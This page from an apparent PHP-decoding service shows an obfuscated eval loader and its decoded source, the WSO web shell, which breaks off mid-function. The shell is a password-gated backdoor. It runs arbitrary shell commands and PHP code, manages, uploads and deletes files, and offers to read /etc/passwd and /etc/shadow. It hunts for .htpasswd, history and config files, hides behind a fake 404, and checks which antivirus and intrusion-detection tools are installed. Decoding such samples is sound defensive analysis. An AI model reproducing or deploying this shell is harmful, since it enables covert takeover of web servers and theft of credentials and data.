Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php preg_replace("/.*/e", "\x28\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x..

Decoded Output download

<?php $auth_pass = "2cdfe6711c650f3d2fab2120e9e09528";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$color = "#df5";
$default_action = 'FilesMan';
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '-');
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    if (!preg_match('/Firefox/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
if (get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
    die("<form method=post><input type=password name=pass><input type=submit value=''></form>");
}
function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
if (!empty($auth_pass)) {
    if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
}
if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
else $os = 'nix';
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) @chdir($_POST['c']);
$cwd = @getcwd();
if ($os == 'win') {
    $home_cwd = str_replace("\", " / ", $home_cwd);
        $cwd = str_replace("\", " / ", $cwd);
}
if($cwd[strlen($cwd) - 1] != '/')
        $cwd .= '/';
 
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
 
if($os == 'win')
        $aliases = array(
                "ListDirectory" => "dir",
        "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
        "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
        "Showactiveconnections" => "netstat - an",
        "Showrunningservices" => "netstart",
        "Useraccounts" => "netuser",
        "Showcomputers" => "netview",
                "ARPTable" => "arp - a",
                "IPConfiguration" => "ipconfig / all"
        );
else
        $aliases = array(
                "Listdir" => "ls - lha",
                "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
                "showopenedports" => "netstat - an | grep - ilisten",
        "processstatus" => "psaux",
                "Find" => "",
                "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
                "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
                "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
                "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
                "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
                "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
    function wsoHeader() {
        if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
        global $color;
        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
   var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
   var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
   var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
   var p1_ = '" . ((strpos(@$_POST['p1'], "
") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
   var p2_ = '" . ((strpos(@$_POST['p2'], "
") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
   var p3_ = '" . ((strpos(@$_POST['p3'], "
") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
   var d = document;
        function set(a,c,p1,p2,p3,charset) {
                if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
                if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
                if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
                if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
                if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
                if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
        }
        function g(a,c,p1,p2,p3,charset) {
                set(a,c,p1,p2,p3,charset);
                d.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
                set(a,c,p1,p2,p3,charset);
                var params = 'ajax=true';
                for(i=0;i<d.mf.elements.length;i++)
                        params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
                sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
        }
        function sr(url, params) {
                if (window.XMLHttpRequest)
                        req = new XMLHttpRequest();
                else if (window.ActiveXObject)
                        req = new ActiveXObject('Microsoft.XMLHTTP');
       if (req) {
           req.onreadystatechange = processReqChange;
           req.open('POST', url, true);
           req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
           req.send(params);
       }
        }
        function processReqChange() {
                if( (req.readyState == 4) )
                        if(req.status == 200) {
                                var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
                                var arr=reg.exec(req.responseText);
                                eval(arr[2].substr(0, arr[1]));
                        } else alert('Request error!');
        }
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(posix_geteuid());
            $gid = @posix_getgrgid(posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0;$i < $n - 1;$i++) {
            $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
            for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
            $cwd_links.= "\")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'Network' => 'Network');
        if (!empty($GLOBALS['auth_pass'])) $menu = '';
        foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
                        $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
        }
        echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
                                ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
                                    ':'') . ' < / span > < / td > '
       . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ')
       . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
                                             . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
                                        }
                                        function wsoFooter() {
                                            $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
                                            echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
        <tr>
                <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
                <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
        </tr><tr>
                <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
                <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
        </tr><tr>
                <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
                <td><form method='post' ENCTYPE='multipart/form-data'>
                <input type=hidden name=a value='FilesMAn'>
                <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
                <input type=hidden name=p1 value='uploadFile'>
                <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
                <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
        </tr></table></div></body></html>";
                                        }
                                        if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
                                            function posix_getpwuid($p) {
                                                return false;
                                            }
                                        }
                                        if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
                                            function posix_getgrgid($p) {
                                                return false;
                                            }
                                        }
                                        function wsoEx($in) {
                                            $out = '';
                                            if (function_exists('exec')) {
                                                @exec($in, $out);
                                                $out = @join("
", $out);
                                            } elseif (function_exists('passthru')) {
                                                ob_start();
                                                @passthru($in);
                                                $out = ob_get_clean();
                                            } elseif (function_exists('system')) {
                                                ob_start();
                                                @system($in);
                                                $out = ob_get_clean();
                                            } elseif (function_exists('shell_exec')) {
                                                $out = shell_exec($in);
                                            } elseif (is_resource($f = @popen($in, "r"))) {
                                                $out = "";
                                                while ([email protected]($f)) $out.= fread($f, 1024);
                                                pclose($f);
                                            }
                                            return $out;
                                        }
                                        function wsoViewSize($s) {
                                            if (is_int($s)) $s = sprintf("%u", $s);
                                            if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
                                            elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
                                            elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
                                            else return $s . ' B';
                                        }
                                        function wsoPerms($p) {
                                            if (($p & 0xC000) == 0xC000) $i = 's';
                                            elseif (($p & 0xA000) == 0xA000) $i = 'l';
                                            elseif (($p & 0x8000) == 0x8000) $i = '-';
                                            elseif (($p & 0x6000) == 0x6000) $i = 'b';
                                            elseif (($p & 0x4000) == 0x4000) $i = 'd';
                                            elseif (($p & 0x2000) == 0x2000) $i = 'c';
                                            elseif (($p & 0x1000) == 0x1000) $i = 'p';
                                            else $i = 'u';
                                            $i.= (($p & 0x0100) ? 'r' : '-');
                                            $i.= (($p & 0x0080) ? 'w' : '-');
                                            $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
                                            $i.= (($p & 0x0020) ? 'r' : '-');
                                            $i.= (($p & 0x0010) ? 'w' : '-');
                                            $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
                                            $i.= (($p & 0x0004) ? 'r' : '-');
                                            $i.= (($p & 0x0002) ? 'w' : '-');
                                            $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
                                            return $i;
                                        }
                                        function wsoPermsColor($f) {
                                            if ([email protected]_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
                                            elseif ([email protected]_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
                                            else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
                                        }
                                        function wsoScandir($dir) {
                                            if (function_exists("scandir")) {
                                                return scandir($dir);
                                            } else {
                                                $dh = opendir($dir);
                                                while (false !== ($filename = readdir($dh))) $files[] = $filename;
                                                return $files;
                                            }
                                        }
                                        function wsoWhich($p) {
                                            $path = wsoEx('which ' . $p);
                                            if (!empty($path)) return $path;
                                            return false;
                                        }
                                        function actionSecInfo() {
                                            wsoHeader();
                                            echo '<h1>Server security information</h1><div class=content>';
                                            function wsoSecParam($n, $v) {
                                                $v = trim($v);
                                                if ($v) {
                                                    echo '<span>' . $n . ': </span>';
                                                    if (strpos($v, "
") === false) echo $v . '<br>';
                                                    else echo '<pre class=ml1>' . $v . '</pre>';
                                                }
                                            }
                                            wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
                                            if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
                                            wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
                                            wsoSecParam('Open base dir', @ini_get('open_basedir'));
                                            wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
                                            wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
                                            wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
                                            $temp = array();
                                            if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
                                            if (function_exists('mssql_connect')) $temp[] = "MSSQL";
                                            if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
                                            if (function_exists('oci_connect')) $temp[] = "Oracle";
                                            wsoSecParam('Supported databases', implode(', ', $temp));
                                            echo '<br>';
                                            if ($GLOBALS['os'] == 'nix') {
                                                wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
                                                wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
                                                wsoSecParam('OS version', @file_get_contents('/proc/version'));
                                                wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                                                if (!$GLOBALS['safe_mode']) {
                                                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                                                    $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                                                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                                                    echo '<br>';
                                                    $temp = array();
                                                    foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
                                                    wsoSecParam('Userful', implode(', ', $temp));
                                                    $temp = array();
                                                    foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
                                                    wsoSecParam('Danger', implode(', ', $temp));
                                                    $temp = array();
                                                    foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
                                                    wsoSecParam('Downloaders', implode(', ', $temp));
                                                    echo '<br/>';
                                                    wsoSecParam('HDD space', wsoEx('df -h'));
                                                    wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                                                    echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                                                    if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                                                        $temp = "";
                                                        for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                                                            $uid = @posix_getpwuid($_POST['p2']);
                                                            if ($uid) $temp.= join(':', $uid) . "
";
                                                        }
                                                        echo '<br/>';
                                                        wsoSecParam('Users', $temp);
                                                    }
                                                }
                                            } else {
                                                wsoSecParam('OS Version', wsoEx('ver'));
                                                wsoSecParam('Account Settings', wsoEx('net accounts'));
                                                wsoSecParam('User Accounts', wsoEx('net user'));
                                            }
                                            echo '</div>';
                                            wsoFooter();
                                        }
                                        function actionPhp() {
                                            if (isset($_POST['ajax'])) {
                                                WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                                ob_start();
                                                eval($_POST['p1']);
                                                $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
                                                echo strlen($temp), "
", $temp;
                                                exit;
                                            }
                                            if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                            wsoHeader();
                                            if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
                                                echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
                                                ob_start();
                                                phpinfo();
                                                $tmp = ob_get_clean();
                                                $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
                                                echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
                                            }
                                            echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
                                            echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
                                            if (!empty($_POST['p1'])) {
                                                ob_start();
                                                eval($_POST['p1']);
                                                echo htmlspecialchars(ob_get_clean());
                                            }
                                            echo '</pre></div>';
                                            wsoFooter();
                                        }
                                        function actionFilesMan() {
                                            if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
                                            if (!empty($_POST['p1'])) {
                                                switch ($_POST['p1']) {
                                                    case 'uploadFile':
                                                        if ([email protected]_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
                                                        break;
                                                    case 'mkdir':
                                                        if ([email protected]($_POST['p2'])) echo "Can't create new dir";
                                                        break;
                                                    case 'delete':
                                                        function deleteDir($path) {
                                                            $path = (substr($path, -1) == '/') ? $path : $path . '/';
                                                            $dh = opendir($path);
                                                            while (($item = readdir($dh)) !== false) {
                                                                $item = $path . $item;
                                                                if ((basename($item) == "..") || (basename($item) == ".")) continue;
                                                                $type = filetype($item);
                                                                if ($type == "dir") deleteDir($item);
                                                                else @unlink($item);
                                                            }
                                                            closedir($dh);
                                                            @rmdir($path);
                                                        }
                                                        if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
                                                            if ($f == '..') continue;
                                                            $f = urldecode($f);
                                                            if (is_dir($f)) deleteDir($f);
                                                            else @unlink($f);
                                                        }
                                                        break;
                                                    case 'paste':
                                                        if ($_COOKIE['act'] == 'copy') {
                                                            function copy_paste($c, $s, $d) {
                                                                if (is_dir($c . $s)) {
                                                                    mkdir($d . $s);
                                                                    $h = @opendir($c . $s);
                                                                    while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                                } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
                                                            }
                                                            foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                                                        } elseif ($_COOKIE['act'] == 'move') {
                                                            function move_paste($c, $s, $d) {
                                                                if (is_dir($c . $s)) {
                                                                    mkdir($d . $s);
                                                                    $h = @opendir($c . $s);
                                                                    while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                                } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
                                                            }
                                                            foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                                                        } elseif ($_COOKIE['act'] == 'zip') {
                                                            if (class_exists('ZipArchive')) {
                                                                $zip = new ZipArchive();
                                                                if ($zip->open($_POST['p2'], 1)) {
                                                                    chdir($_COOKIE['c']);
                                                                    foreach ($_COOKIE['f'] as $f) {
                                                                        if ($f == '..') continue;
                                                                        if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
                                                                        elseif (@is_dir($_COOKIE['c'] . $f)) {
                                                                            $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                                                            foreach ($iterator as $key => $value) {
                                                                                $zip->addFile(realpath($key), $key);
                                                                            }
                                                                        }
                                                                    }
                                                                    chdir($GLOBALS['cwd']);
                                                                    $zip->close();
                                                                }
                                                            }
                                                        } elseif ($_COOKIE['act'] == 'unzip') {
                                                            if (class_exists('ZipArchive')) {
                                                                $zip = new ZipArchive();
                                                                foreach ($_COOKIE['f'] as $f) {
                                                                    if ($zip->open($_COOKIE['c'] . $f)) {
                                                                        $zip->extractTo($GLOBALS['cwd']);
                                                                        $zip->close();
                                                                    }
                                                                }
                                                            }
                                                        } elseif ($_COOKIE['act'] == 'tar') {
                                                            chdir($_COOKIE['c']);
                                                            $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                                                            wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                                                            chdir($GLOBALS['cwd']);
                                                        }
                                                        unset($_COOKIE['f']);
                                                        setcookie('f', '', time() - 3600);
                                                        break;
                                                    default:
                                                        if (!empty($_POST['p1'])) {
                                                            WSOsetcookie('act', $_POST['p1']);
                                                            WSOsetcookie('f', serialize(@$_POST['f']));
                                                            WSOsetcookie('c', @$_POST['c']);
                                                        }
                                                        break;
                                                    }
                                                }
                                                wsoHeader();
                                                echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
                                                $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
                                                if ($dirContent === false) {
                                                    echo 'Can\'t open this folder!';
                                                    wsoFooter();
                                                    return;
                                                }
                                                global $sort;
                                                $sort = array('name', 1);
                                                if (!empty($_POST['p1'])) {
                                                    if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
                                                }
                                                echo "<script>
        function sa() {
                for(i=0;i<d.files.elements.length;i++)
                        if(d.files.elements[i].type == 'checkbox')
                                d.files.elements[i].checked = d.files.elements[0].checked;
        }
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
                                                $dirs = $files = array();
                                                $n = count($dirContent);
                                                for ($i = 0;$i < $n;$i++) {
                                                    $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                                                    $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                                                    $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
                                                    if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
                                                    elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
                                                    elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'dir'));
                                                }
                                                $GLOBALS['sort'] = $sort;
                                                function wsoCmp($a, $b) {
